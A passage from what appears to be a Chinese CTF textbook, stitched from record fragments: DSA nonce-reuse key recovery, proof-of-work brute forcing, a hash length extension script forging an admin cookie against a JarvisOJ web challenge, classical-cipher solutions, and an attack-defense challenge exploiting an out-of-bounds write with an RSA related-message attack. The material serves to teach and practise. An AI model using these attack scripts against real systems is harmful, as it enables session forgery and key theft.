除了RSA以外，CTF还会考察椭圆曲线、离散对数等问题，这里介绍一个经常出现的针对离散对数的问题。 使用相同的k，即r也相同，如果知道两个不同的消息利用相同的r，就可以进行攻击了。 已知： s≡k -1 (H(m)+xr)mod q 那么： s 3 k≡m 3 +xr mod q s 4 k≡m 4 +xr mod q JarvisOJ上的一道原题DSA代码如下： from Crypto.Hash import SHA import gmpy2 y = int(\"45bb18f60eb051f9d48218df8cd956330a4ff30af5344f6c9540061d5383292d95c4dfc8ac26ca452e170dc79be15cc6159e037bccf564ef361c18c99e8aeb0bc1acf9c0c35d620d60bb7311f1cf08cfbc34ccaa79ef1dad8a7a6facce86659006d4faf057716857ec7ca604ade2c3d731d6d02f933198d390c3efc3f3ff046f\", 16) p = int(\"00c0596c3b5e933d3378be3626be315ee70ca6b5b11a519b5523d40e5ba74566e22cc88bfec56aad66918b9b30ad281388f0bbc6b8026b7c8026e91184bee0c8ad10ccf296becfe50505383cb4a954b37cb588672f7c0957b6fdf2fa0538fdad83934a45e4f99d38de57c08a24d00d1cc5d5fbdb73291cd10ce7576890b6ba089b\", 16) q = int(\"00868f78b8c8500bebf67a58e33c1f539d3570d1bd\", 16) g = int(\"4cd5e6b66a6eb7e92794e3611f4153cb11af5a08d9d4f8a3f250037291ba5fff3c29a8c37bc4ee5f98ec17f418bc7161016c94c84902e4003a7987f0d8cf6a61c13afd5673caa5fb411508cdb3501bdff73e747925f76586f4079fea12098b3450844a2a9e5d0a99bd865e0570d5197df4a1c9b8018fb99cdce9157b98500179\", 16) f3 = open(r\"packet3/message3\", 'r') f4 = open(r\"packet4/message4\", 'r') data3 = f3.read() data4 = f4.read() sha = SHA.new() sha.update(data3) m3 = int(sha.hexdigest(), 16) sha = SHA.new() sha.update(data4) m4 = int(sha.hexdigest(), 16) print m3, m4 s3 = 0x30EB88E6A4BFB1B16728A974210AE4E41B42677D s4 = 0x5E10DED084203CCBCEC3356A2CA02FF318FD4123 r = 0x5090DA81FEDE048D706D80E0AC47701E5A9EF1CC ds = s4 - s3 dm = m4 - m3 k = gmpy2.mul(dm, gmpy2.invert(ds, q)) k = gmpy2.f_mod(k, q) tmp = gmpy2.mul(k, s3) - m3 x = tmp * gmpy2.invert(r, q) x = gmpy2.f_mod(x, q) print int(x)"},
    {"text": "未知 21.3 哈希 hash，一般翻译为“散列”，也有直接音译为“哈希”的，还有人称之为杂凑函数。把任意长度的输入，通过哈希算法，变换成固定长度的输出，该输出就是哈希值。这种转换是一种压缩映射，即哈希值的空间通常远小于输入的空间，不同的输入可能会哈希成相同的输出，所以不可能从哈希值来唯一确定输入值。即哈希是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。 哈希函数有很多，常见的有MD5、sha1、sha256等。 未知 21.3.1 哈希碰撞 哈希函数H需要满足如下性质： 1）H能够应用到任何大小的数据块上； 2）H能够生成大小固定的输出； 3）对于任意给定的x，H(x)的计算很简单，但从H(x)逆推x是不可能的。 在Python中，一般是使用hashlib库中的函数。如果想要将hash变成字符串的话，还需要配合hexdigest使用，示例代码如下： import hashlib print hashlib.sha256(\"hello\").hexdigest() print hashlib.md5(\"hello\").hexdigest() print hashlib.sha1(\"hello\").hexdigest() 结果如下： 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 5d41402abc4b2a76b9719d911017c592 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d 在PPC模式的CTF赛题中，经常会出现一个proof your work的过程，其目的是防止选手大量交互占用服务器资源，所以在所有的交互之前会让选手消耗自身资源来计算一些东西，一般是求一个hash，使hash满足某些特定的条件。举例来说，如果需要满足的条件如下： salt=\"123456\" hashlib.sha256(salt+x).hexdigest()[0:6]==\"123456\" 那么通过程序爆破即可： salt=\"123456\" import string import hashlib for i1 in string.printable: for i2 in string.printable: for i3 in string.printable: for i4 in string.printable: if hashlib.sha256(salt+i1+i2+i3+i4).hexdigest()[0:6]==\"123456\": print salt+i1+i2+i3+i4 结果如下： 1234562Z9J 根据王小云院士提出的密码哈希函数的碰撞攻击理论，可以在一个任意的prefix后面加上不同的padding使其串的MD5一样。详情可以参考fastcoll，参考地址为 http://www.win.tue.nl/hashclash/ 。 sha1也出现了碰撞，不同内容但是sha1相同的文件可以参考 https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html 。 在碰撞完的两个不同内容的串后面加入相同的字符后，两者的哈希还是相同的，这也是一个常见考点。 未知 21.3.2 哈希长度扩展攻击 在计算hash的方式secret+message为明文的情况下，可以进行哈希长度扩展攻击，使攻击者在不知道secret的情况下修改message并得到另外一个hash值。 下面我们结合一道例题进行讲解（ https://www.jarvisoj.com ），Web题目：flag在管理员手里（题目url： http://web.jarvisoj.com:32778/ ）。 首先，我们会看到一个页面，其上可以下载得到一个备份文件，对备份文件进行处理，可以得到如图21-14所示的PHP源码。 图21-14 PHP源码 简单来说，我们需要达成如下所示的条件： if ($role===\"admin\" && $hsh === md5($salt.strrev($_COOKIE[\"role\"]))) 但是，目前我们并不知道salt的值是什么，所以必须通过hash扩展攻击来进行计算。在cookie中一共有两个值，role和hsh，其中，role经过反序列化后可以得到$role，我们需要修改其为admin，并且计算新的hsh，使其满足如下条件： $hsh === md5($salt.strrev($_COOKIE[\"role\"])) 首先，我们需要满足$role==\"admin\"，因此我们需要将cookie中的role变成： 原始： 目标： s:5:\"guest\"; s:5:\"admin\"; 计算$hsh的时候，所计算的是salt+role在cookie中翻转字符串后的MD5，这里我们使用哈希扩展攻击的神器，即hashpump进行计算。首先我们安装hashpump，命令如下： $ sudo apt-get install git $ git clone https://github.com/bwall/HashPump.git $ apt-get install g++ libssl-dev $ cd HashPump $ make $ sudo make install 安装完成后，我们并不知道salt的长度，所以多进行几次尝试，最终发现长度是12，代码如下： import os import requests import urllib def rev(s): i=0 r=\"\" while i<len(s): if s[i]==\"\\\\\": r+=chr(int(s[i+2:i+4],16)) i+=4 else: r+=s[i] i+=1 return urllib.quote(r[::-1]) for i in range(4,32): tmp=os.popen('''hashpump -s 3a4727d57463f122833d9e732f94e4e0 --data ';\"tseug\":5:s' -a ';\"nimda\":5:s' -k '''+str(i)).read() hsh=tmp.split(\"\\n\")[0] role=rev(tmp.split(\"\\n\")[1]) cookies={\"role\":role,\"hsh\":hsh} print cookies if \"CTF\" in requests.get(\"http://web.jarvisoj.com:32778/\",cookies=cookies).content: print requests.get(\"http://web.jarvisoj.com:32778/\",cookies=cookies).content 结果如图21-15所示。 图21-15 运行结果图"},
    {"text": "未知 第22章 真题解析 在真正的解题过程中，不仅要考察之前介绍的知识的运用能力，也会考察代码的分析能力。之前为了方便理解，我们都是使用自己编写的函数进行解题，其实在PyCrypto中有很多函数可以直接使用，这样会节约很多时间。本章将介绍一些常用的函数，并针对几道CTF真题进行讲解。 未知 22.1 SUPEREXPRESS 首先下载题目文件（ https://www.jarvisoj.com ），这里包含两个文件，其中encrypted包含一行字符串，如下： 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9 problem.py里面是用Python编写的加密算法，具体代码如下： import sys key = '****CENSORED***************' flag = 'TWCTF{*******CENSORED********}' if len(key) % 2 == 1: print(\"Key Length Error\") sys.exit(1) n = len(key) / 2 encrypted = '' for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c print encrypted 题目的意思是某flag经过加密之后变成了encrypted中的字符串，我们需要通过破解密码将明文恢复出来。 首先，我们对加密程序进行分析。加密程序中首先给出了两个值：一个是key，中间给出了些许字符；一个是flag，也给出了部分字符。然后进行了如下判断： if len(key) % 2 == 1: print(\"Key Length Error\") sys.exit(1) 这一段保证了key的长度是偶数位的。再往下： n = len(key) / 2 encrypted = '' n是key长度的一半，结合后文对n的运用，这里的作用是通过0～n和n～2n将key劈成了两半。encrypted是存储结果的字符串。 而后进行了一个循环，代码如下： for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c 循环对flag的每一个字符都进行了操作，并且这个操作具有如下两个特点。 1）每个字符的变换都是相同的，不会因为字符的位置不同而发生改变，所以这是一个单表替代密码。 2）针对每个字符的变换都是与key中的每一个字符进行一个稍微有些复杂的线性变换。模数是固定的251。 满足以上两个条件之后，我们可以不用再看这个函数了，因为已经可解了，无论这个变化有多复杂，最终都可以用一个变化来概括： for i in range(len(m)): c[i]=(ord(m[i])*k+l)%251 接下来，我们需要通过已知条件来计算出k和l的值。想要计算这个值，首先要知道几个已知的对应的明密文，而我们知道，明文的前6个字符是： TWCTF{ 密文的前6个字符是： \"805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9\".decode(\"hex\")[0:6] 所以其实可以列出如下6个方程： (ord('T')*k+l)%251==0x80 (ord('W')*k+l)%251==0x5e (ord('C')*k+l)%251==0xed (ord('T')*k+l)%251==0x80 (ord('F')*k+l)%251==0xcb (ord('{')*k+l)%251==0xbc 为了方便，这里先不解方程，而是直接爆破： for k in range(251): for l in range(251): if (ord('T')*k+l)%251==0x80 and (ord('W')*k+l)%251==0x5e and (ord('C')*k+l)%251==0xed and (ord('T')*k+l)%251==0x80 and (ord('F')*k+l)%251==0xcb and (ord('{')*k+l)%251==0xbc: print k,l 结果如下： 156 76 这是加密密钥，当然这里也可以直接计算出解密密钥，具体代码如下： (0x80*k+l)%251==ord('T') (0x5e*k+l)%251==ord('W') (0xed*k+l)%251==ord('C') (0x80*k+l)%251==ord('T') (0xcb*k+l)%251==ord('F') (0xbc*k+l)%251==ord('{') for k in range(251): for l in range(251): if (0x80*k+l)%251==ord('T') and (0x5e*k+l)%251==ord('W') and (0xed*k+l)%251==ord('C') and (0x80*k+l)%251==ord('T') and (0xcb*k+l)%251==ord('F') and (0xbc*k+l)%251==ord('{'): print k,l 结果如下： 214 51 上面输出的结果就是解密密钥了，然后执行解密脚本获得flag，代码如下： k=214 l=51 r=\"\" for i in \"805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9\".decode(\"hex\"): r+=chr((k*ord(i)+l)%251) print r 结果如下： TWCTF{Faster_Than_Shinkansen!} 是不是很神奇呢？有时候分析程序，不一定必须将算法研究透彻，知道其变换的本质及与其对应的攻击方法即可。"},
    {"text": "未知 第3章 跨站脚本攻击 现代网站为了提高用户体验往往会包含大量的动态内容，所谓动态内容，就是Web应用程序根据用户环境和需要来输出相应的内容。 经常遭受跨站脚本攻击的典型应用有：邮件、论坛、即时通信、留言板、社交平台等。"},
    {"text": "首先，打开题目所给的文件，可以发现该题也有一个密文，还给出了加密的程序，下面分析加密的程序： # Python 3 Source Code from base64 import b64encode, b64decode import sys import os import random chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' def shift(char, key, rev = False): if not char in chars: return char if rev: return chars[(chars.index(char) - chars.index(key)) % len(chars)] else: return chars[(chars.index(char) + chars.index(key)) % len(chars)] def encrypt(message, key): encrypted = b64encode(message.encode('ascii')).decode('ascii') return ''.join([shift(encrypted[i], key[i % len(key)]) for i in range(len(encrypted))]) def decrypt(encrypted, key): encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))]) return b64decode(encrypted.encode('ascii')).decode('ascii') def generate_random_key(length = 5): return ''.join(map(lambda a : chars[a % len(chars)], os.urandom(length))) if len(sys.argv) == 4 and sys.argv[1] == 'encrypt': f = open(sys.argv[3]) plain = f.read() f.close() key = generate_random_key(random.randint(5,14)) print(encrypt(plain, key)) f = open(sys.argv[2], 'w') f.write(key) f.close() elif len(sys.argv) == 4 and sys.argv[1] == 'decrypt': f = open(sys.argv[3]) encrypted = f.read() f.close() f = open(sys.argv[2]) key = f.read() f.close() print(decrypt(encrypted, key), end = '') else: print(\"Usage: python %s encrypt|decrypt (key-file) (input-file)\" % sys.argv[0]) 分析程序得知，程序进行了两次变化，一次base64变化，一次维吉尼亚加密。"},
    {"text": "面对这种情况，首先我们要结合之前的介绍，思考base64的工作方式（如图22-1所示）。 图22-1 base64示意图 如图22-1所示，base64在工作的时候，将三个字符变成了四个字符。"},
    {"text": "但是有这样一句话： encrypted = b64encode(message.encode('ascii')).decode('ascii') 这句话限制了明文的取值范围是0～127，也就是说所有明文的最高bit都是0。"},
    {"text": "因为如果是三个出现的字母相同时，很大概率上是同一密文对应相同位置的密钥的情况，那么此时这两个相同的三个间隔就是密钥长度的整数倍。"},
    {"text": "首先来看看哪些3字符出现了2次及以上次数，打印出它们的间隔： a=\"a7TFeCShtf94+t5quSA5ZBn4+3tqLTl0EvoMsNxeeCm50Xoet+1fvy821r6Fe4fpeAw1ZB+as3Tphe8xZXQ/s3tbJy8BDzX4vN5svYqIZ96rt35dKuz0DfCPf4nfKe300fM9utiauTe5tgs5utLpLTh0FzYx0O1sJYKgJvul0OfiuTl00BCks+aaJZm8Kwb4u+LtLCqbZ96lv3bieCahtegx+7nzqyO6YCb4b9LovCELZ9Pe0L5rLSaBDzXaftxseAw1JzCF0MGjeCacKb69u9TlgCudZT6Os3ojhcWxD914vNHfeCuaJvH4s4aarBKlGdsT8G4UKZhfJB+y0LbjqCOnZT6baF1WiZeNtfsNtuoo+c==\" chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' i=0 slist=[] snum=[] sjg=[] while i<len(a)-4: s=a[i]+a[i+1]+a[i+2] if s not in slist: slist.append(s) snum.append(1) sjg.append(i) else: snum[slist.index(s)]+=1 sjg[slist.index(s)]=i-sjg[slist.index(s)] i+=1 for i in range(len(snum)): if snum[i]>=2: print slist[i],sjg[i] 结果如下： Tl0 144 eAw 192 Aw1 192 BDz 156 DzX 156 4vN 204 Z96 96 eCa 60 ZT6 60 可以看到满足条件的字符还是不少的，下面就来计算这些数字的最大公约数： def gcd(a, b): if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a ans=[144,192,192,156,156,204,96,60,60] ff=144 for i in ans: print \"gcd\",ff,i ff=gcd(ff,i) print ff 结果如下： gcd 144 144 gcd 144 192 gcd 48 192 gcd 48 156 gcd 12 156 gcd 12 204 gcd 12 96 gcd 12 60 gcd 12 60 12 至此我们得到了维吉尼亚密码的密钥长度为12。"},
    {"text": "因为最高bit位需要为0，所以我们可以通过枚举密钥的单个字符，观察base64解密之后明文所有对应位置的最高bit位是否为0来确定这个密钥的正确性，代码如下： from base64 import b64encode, b64decode a=\"a7TFeCShtf94+t5quSA5ZBn4+3tqLTl0EvoMsNxeeCm50Xoet+1fvy821r6Fe4fpeAw1ZB+as3Tphe8xZXQ/s3tbJy8BDzX4vN5svYqIZ96rt35dKuz0DfCPf4nfKe300fM9utiauTe5tgs5utLpLTh0FzYx0O1sJYKgJvul0OfiuTl00BCks+aaJZm8Kwb4u+LtLCqbZ96lv3bieCahtegx+7nzqyO6YCb4b9LovCELZ9Pe0L5rLSaBDzXaftxseAw1JzCF0MGjeCacKb69u9TlgCudZT6Os3ojhcWxD914vNHfeCuaJvH4s4aarBKlGdsT8G4UKZhfJB+y0LbjqCOnZT6baF1WiZeNtfsNtuoo+c==\" chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' def shift(char, key, rev = False): if not char in chars: return char if rev: return chars[(chars.index(char) - chars.index(key)) % len(chars)] else: return chars[(chars.index(char) + chars.index(key)) % len(chars)] def decrypt(encrypted, key): encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))]) return b64decode(encrypted) def check(key,loc): s=decrypt(a,key) i=0 calc=0 while i < 270: if ord(s[i+loc])<128: calc+=1 i+=9 print calc,key print \"====================================================\" for i in chars: check(\"shAxI8HxYL\"+i+\"1\",8) 结果如下： 11 shAxI8HxYLa1 14 shAxI8HxYLb1 18 shAxI8HxYLc1 15 shAxI8HxYLd1 12 shAxI8HxYLe1 15 shAxI8HxYLf1 18 shAxI8HxYLg1 20 shAxI8HxYLh1 17 shAxI8HxYLi1 10 shAxI8HxYLj1 14 shAxI8HxYLk1 23 shAxI8HxYLl1 18 shAxI8HxYLm1 7 shAxI8HxYLn1 13 shAxI8HxYLo1 22 shAxI8HxYLp1 15 shAxI8HxYLq1 8 shAxI8HxYLr1 15 shAxI8HxYLs1 20 shAxI8HxYLt1 13 shAxI8HxYLu1 9 shAxI8HxYLv1 16 shAxI8HxYLw1 21 shAxI8HxYLx1 14 shAxI8HxYLy1 9 shAxI8HxYLz1 17 shAxI8HxYLA1 24 shAxI8HxYLB1 15 shAxI8HxYLC1 3 shAxI8HxYLD1 12 shAxI8HxYLE1 30 shAxI8HxYLF1 21 shAxI8HxYLG1 1 shAxI8HxYLH1 9 shAxI8HxYLI1 28 shAxI8HxYLJ1 21 shAxI8HxYLK1 2 shAxI8HxYLL1 9 shAxI8HxYLM1 27 shAxI8HxYLN1 20 shAxI8HxYLO1 6 shAxI8HxYLP1 12 shAxI8HxYLQ1 22 shAxI8HxYLR1 17 shAxI8HxYLS1 8 shAxI8HxYLT1 14 shAxI8HxYLU1 23 shAxI8HxYLV1 16 shAxI8HxYLW1 7 shAxI8HxYLX1 12 shAxI8HxYLY1 21 shAxI8HxYLZ1 18 shAxI8HxYL01 9 shAxI8HxYL11 12 shAxI8HxYL21 22 shAxI8HxYL31 19 shAxI8HxYL41 8 shAxI8HxYL51 11 shAxI8HxYL61 16 shAxI8HxYL71 13 shAxI8HxYL81 14 shAxI8HxYL91 18 shAxI8HxYL+1 16 shAxI8HxYL/1 如上述代码所示，如果在某个位置的字符能够满足所有的30组的最高bit都是0，那么密钥这个位置的字符就是可以确定的。 通过程序测试，可以得知利用该方法确定的密钥组成为： 接下来就简单了，爆破未知位置即可，代码如下： from base64 import b64encode, b64decode a=\"a7TFeCShtf94+t5quSA5ZBn4+3tqLTl0EvoMsNxeeCm50Xoet+1fvy821r6Fe4fpeAw1ZB+as3Tphe8xZXQ/s3tbJy8BDzX4vN5svYqIZ96rt35dKuz0DfCPf4nfKe300fM9utiauTe5tgs5utLpLTh0FzYx0O1sJYKgJvul0OfiuTl00BCks+aaJZm8Kwb4u+LtLCqbZ96lv3bieCahtegx+7nzqyO6YCb4b9LovCELZ9Pe0L5rLSaBDzXaftxseAw1JzCF0MGjeCacKb69u9TlgCudZT6Os3ojhcWxD914vNHfeCuaJvH4s4aarBKlGdsT8G4UKZhfJB+y0LbjqCOnZT6baF1WiZeNtfsNtuoo+c==\" chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' def shift(char, key, rev = False): if not char in chars: return char if rev: return chars[(chars.index(char) - chars.index(key)) % len(chars)] else: return chars[(chars.index(char) + chars.index(key)) % len(chars)] def decrypt(encrypted, key): encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))]) return b64decode(encrypted) for i3 in chars: for i7 in chars: for i8 in \"XY\": for i11 in chars: key=\"shA\"+i3+\"I8H\"+i7+i8+\"LF\"+i11 tmp=decrypt(a,key) if \"the flag is\" in tmp: print tmp 结果如下： SKK is a Japanese Input Method developed by Sato Masahiko. Original SKK targets Emacs. However, there are various SKK programs that works other systems such as SKKFEP(for Windows), AquaSKK(for MacOS X) and eskk(for vim). OK, the flag is TWCTF{C14ss1caL CiPhEr iS v3ry fun}. 最终得到flag。"},
    {"text": "具体实现代码如下： 1. bool open_insurance() 2. { 3. srand((unsigned)time(NULL)); 4. char ch[16 + 1] = { 0 }; 5. const char CCH[] = \"_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+\"; 6. for (int i = 0; i < 16; ++i) 7. { 8. int x = rand() / (RAND_MAX / (sizeof(CCH) - 1)); 9. ch[i] = CCH[x]; 10. } 11. string chs = ch; 12. string ins; 13. MD5 md5; 14. cout << \"opening:\" << md5.digestString(ch) << \"#\" << chs.substr(0,13); 15. cin >> ins; 16. if (ins == chs.substr(13, 16)) 17. { 18. return true; 19. } 20. else 21. { 22. return false; 23. } 24. } 在验证proof的过程中，只需要爆破3个字符碰撞MD5即可，使用Python计算所消耗的时间低于1秒。 具体攻击代码如下： 1. def open_insurance(io): 2. io.read_until(\"action:\") 3. io.writeline(\"1\") 4. io.read_until(\"action:\") 5. io.writeline(\"1\") 6. io.read_until(\"opening:\") 7. md5=io.read(32) 8. io.read(1) 9. st=io.read(13) 10. t = \"_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+\" 11. for i in t: 12. for j in t: 13. for k in t: 14. if hashlib.md5(st + i + j + k).hexdigest() == md5: 15. io.writeline(i + j + k) 16. return 验证完成后，程序会读取flag文件，随机生成AES256的32字节密钥并进行加密，然后存储于下述关键结构中： 1. struct secret_st 2. { 3. unsigned int secret_size; 4. uint8_t rules[16]; 5. uint8_t key[32]; 6. uint8_t flag[32]; 7. } secret; 结构中secret_size为rules的长度，key为AES256的密钥，flag为使用AES256加密后的flag密文。"},
    {"text": "选项3-2可以修改rules的大小，即对上述结构体中的secret_size进行更改，需要注意的是，这里最大可以改到32，而rules仅有16字节，代码如下： 1. case 2: 2. { 3. cout<<\"more train:\"; 4. cin>>tmp; 5. if (tmp>32) 6. bye(); 7. secret.secret_size=tmp; 8. break; 9. } 选项3-3可以输入rules，且输入的长度不可以超过16字节，但是在服务端打印rules时是以secret_size作为长度限制的，代码如下： 1. case 3: 2. { 3. string rules; 4. cout<<\"repeat train rules:\"; 5. cin>>rules; 6. if (rules.length() > 16) 7. { 8. cout<<\"wrong rules\"<<endl; 9. bye(); 10. } 11. else 12. { 13. rules.copy((char *)secret.rules,secret.secret_size-1,0); 14. int tmp_i; 15. DUMP(\"your rules:\",tmp_i,secret.rules,secret.secret_size); 16. } 17. break; 18. } 选项3-4使用e=65537的RSA进行了AES256的密钥加密并进行打印。 选项3-5在使用AES256进行加密的时候，因为flag为32位，并且采取的是ECB模式，所以一共进行了14×2次密钥扩展，共14×2×2=56个轮密钥，此选项可以任意打印其中一个，代码如下： 1. case 5: 2. { 3. int action_in; 4. cout<<\"1-56:\"<<endl; 5. action_in=get_action(56); 6. if (action_in==0) 7. { 8. bye(); 9. } 10. else 11. { 12. int i; 13. printf(\"hit:\"); 14. for (i = 0; i < 16; i++) 15. printf(\"%02x\", *(record+((action_in-1)*16)+i)); 16. printf(\"\\n\"); 17. 18. } 19. } 选项3-6使用了e=3，n长度为1024bit的RSA对AES256的key进行了加密并打印，同时padding为固定值。"},
    {"text": "选项3-7提供了一个修改rules的选项，可以指定一个位置，该功能会将该位置的数值自减1，需要注意的是，提供该功能时长度限制为48，而结构体中rules的长度只有16，且该功能不消耗子弹。"},
    {"text": "代码如下： 1. case 7: 2. { 3. cout<<\"break the rules:\"<<endl; 4. unsigned int loc; 5. cin>>loc; 6. if (loc<0 or loc>=48) 7. bye(); 8. else 9. { 10. secret.rules[loc]-=1; 11. } 12. cout<<\"break the rules success\"<<endl; 13. magazine+=1; 14. break; 15. } 3.OOB Write+Related Message Attack 选项3-6中的e=3，n只有1024bit，具有良好的攻击特性，可是虽然通过选项3-2和选项3-3可以泄露AES256密钥的高16字节信息，但是此时子弹数量只有3枚且已经消耗完毕（包括需要使用一枚获得flag的密文信息），无法实现任何一种攻击过程，因此选项3-2和选项3-3为干扰选项。"},
    {"text": "选项3-7中存在48-16=32字节的越界写（Out Of BoundWrite，OOB Write），虽然只能更改一个字节，但是可以构造出RSA中相关消息攻击的攻击条件。"},
    {"text": "首先，使用选项3-6获取AES256的key被e=3的RSA加密的密文，然后使用选项3-7对secret结构体中存储的AES256的key进行1字节的修改，最后再次使用选项3-6获取AES256的key被e=3的RSA加密的密文。"},
    {"text": "攻击的核心代码如下： 1. import gmpy2 2. def getmessage(a, b, c1, c2, n): 3. b3 = gmpy2.powmod(b, 3, n) 4. part1 = b * (c1 + 2 * c2 - b3) % n 5. part2 = a * (c1 - c2 + 2 * b3) % n 6. part2 = gmpy2.invert(part2, n) 7. return part1 * part2 % n 8. def fire(io): 9. io.read_until(\"action:\") 10. io.writeline(\"3\") 11. io.read_until(\"action:\") 12. io.writeline(\"1\") 13. io.read_until(\"flag:\") 14. aes_c=io.read(64).decode(\"hex\") 15. 16. io.read_until(\"action:\") 17. io.writeline(\"3\") 18. io.read_until(\"action:\") 19. io.writeline(\"6\") 20. io.read_until(\"c:\") 21. c2=int((io.readline().strip()),16) 22. 23. io.read_until(\"action:\") 24. io.writeline(\"3\") 25. io.read_until(\"action:\") 26. io.writeline(\"7\") 27. io.read_until(\":\") 28. io.writeline(\"47\") 29. 30. io.read_until(\"action:\") 31. io.writeline(\"3\") 32. io.read_until(\"action:\") 33. io.writeline(\"6\") 34. io.read_until(\"c:\") 35. c1=int((io.readline().strip()),16) 36. 37. id1 = 0 38. id2 = 1 39. a = 1 40. b = id1 - id2 41. message = getmessage(a, b, c1, c2, n) - id2 42. message = hex(message+1)[2:] 43. print message 44. print message[64:] 45. key=message[64:].decode(\"hex\") 46. flag=decrypt(aes_c,key) 47. return flag 4.AES Round-key Recovery Attack 本次加密使用的是AES256，flag长度为32位，一共会进行14×2次密钥扩展，每次扩展32字节，每次加密使用16字节。"},
    {"text": "依据密钥扩展算法，轮密钥是可以恢复初始密钥的，恢复方法如下： 1. static void 2. aes_expandDecKey(uint8_t * const k, uint8_t * const rc) 3. { 4. uint8_t i; 5. 6. for (i = 28; i > 16; i -= 4) { 7. k[i + 0] ^= k[i - 4]; 8. k[i + 1] ^= k[i - 3]; 9. k[i + 2] ^= k[i - 2]; 10. k[i + 3] ^= k[i - 1]; 11. } 12. 13. k[16] ^= rj_sbox(k[12]); 14. k[17] ^= rj_sbox(k[13]); 15. k[18] ^= rj_sbox(k[14]); 16. k[19] ^= rj_sbox(k[15]); 17. 18. for (i = 12; i > 0; i -= 4) { 19. k[i + 0] ^= k[i - 4]; 20. k[i + 1] ^= k[i - 3]; 21. k[i + 2] ^= k[i - 2]; 22. k[i + 3] ^= k[i - 1]; 23. } 24. 25. *rc = (uint8_t)((*rc >> 1) ^ ((*rc & 1) ? 0x8d : 0)); 26. k[0] ^= rj_sbox(k[29]) ^ (*rc); 27. k[1] ^= rj_sbox(k[30]); 28. k[2] ^= rj_sbox(k[31]); 29. k[3] ^= rj_sbox(k[28]); 30. } 5.Known High Bits Message Attack 选项3-6中还隐藏着一种攻击方法，因为flag只有256bit，前面padding了256bit的1，那么实际可以看为512个0和256个1是已知的，也就是说，如果将明文视为1024bit，那么其实前768bit是已知的，由512个0和256个1组成。"},
    {"text": "下面主要对4个功能进行check，代码如下： 1. def checker_main(target,flag_ssh): 2. if exp_1(target)==False: 3. return False,\"hb_len_modify ERROR\" 4. if exp_2(target,flag_ssh)==False: 5. return False,\"e3rsa_or_rule_modify ERROR\" 6. if exp_3(target,flag_ssh)==False: 7. return False,\"backdoor_rsa_aeskey_flag ERROR\" 8. if exp_4(target)==False: 9. return False,\"roundkey_leak ERROR\" 10. return True,\"OK\" 检查的内容具体如下。 1）首先，flag是读进来的，为了保证flag的open不会被篡改，并且在checker拥有私钥的前提下，进行如下操作：获取flag的密文（被AES256加密），获取AES256的key的密文（被RSA加密），使用私钥解密key，使用key解密flag，使用paramiko ssh登录gamebox并cat flag，验证两个flag是否相等。"},
    {"text": "2）保证所有攻击流程不会被篡改：在拥有私钥的前提下，所有攻击流程的每一个步骤都可以进行完整的验证，思路非常简单，以正常数据（比如不会越界的数据）走完攻击流程，并用私钥解密，观察flag与ssh获取的flag是否相同。"},
    {"text": "未知 22.4 Railgun 这是XCTF2018Final的AD题目，题目的类型为PWN+Crypto，提供了note式交互页面，具有如下关键数据。 ·玩家描述description，开始的时候输入，是个指针malloc存储。 ·玩家姓名player bss，开始的时候输入。 ·剩余硬币数量coin bss，初始为0，uint型，可以被整型溢出。 ·boss的个数。 ·10个boss的结构体数组，初始化直接生成，10个malloc，结构体所有数据初始化。结构体中包含怪物所用AES的key，怪物等级，怪物存活。 ·一套RSA，初始化直接生成，p、q、e、d和n。 ·一套用于检查的RSA，固定n和e，checker知道p和q。 ·评论地址。 关键note操作如下所示。 1）程序加载：最开始要过一个pow（否则生成RSA的素数消耗的资源过大），过完之后开始各种初始化，并输入玩家姓名。 2）操作1，modify。修改玩家姓名（存在null byte offbyone）。 3）操作2，mining。挖掘coin（coin+=1可以直接撞）。 4）操作3，status。根据bossnumber打印怪物状态，打印公钥。 5）操作4，Index。获取flag选项，读取flag，在后面填充足够数量的随机字符串，然后使用RSA一套对flag进行加密，然后打印密文。 6）操作5，railgun。攻击怪物，选择一个怪物，接受一个密文，使用d解密，对解密结果的后16位使用该怪物的AES的key进行AES-ECB加密，询问是否消耗1个硬币，若消耗，则给出密文，询问是否消耗1个硬币（这里不进行硬币余额的判断），若消耗1个硬币，则将怪物存活状态改为击杀。 7）操作6，accelerator。技能，花费200个硬币，可以释放掉第十个boss，boss个数=9（boss个数=9的时候不能使用该操作）。 8）操作7，comment。评论，malloc一块内存，然后填入评论，自己输入长度，长度不能超过256，评论的时候判断是否已经存在评论，若存在评论则无法进行再次评论，而是直接打印评论。 9）操作8，check。checker使用的选项，用checker使用的RSA可以获得RSA一套中的d以及第1个怪物和第10个怪物的key（checker check flag的正确性+RSA的正确性+aeskey的正确性）。 10）操作9，exit。退出（free）。 本题从理论上不可获取shell，选手通过二进制漏洞修改或者泄露密码学部分的信息实现攻击。本题的攻击利用、修补、稳定性维持都具有较高的难度。所有的flag获取都必须通过RSA parity oracle进行，通过off-by-one漏洞、UAF漏洞实现信息的泄露或修改。本题除了解题难度较高之外，还具有一定的性能优化难度，因为需要fast mining和RSA parity 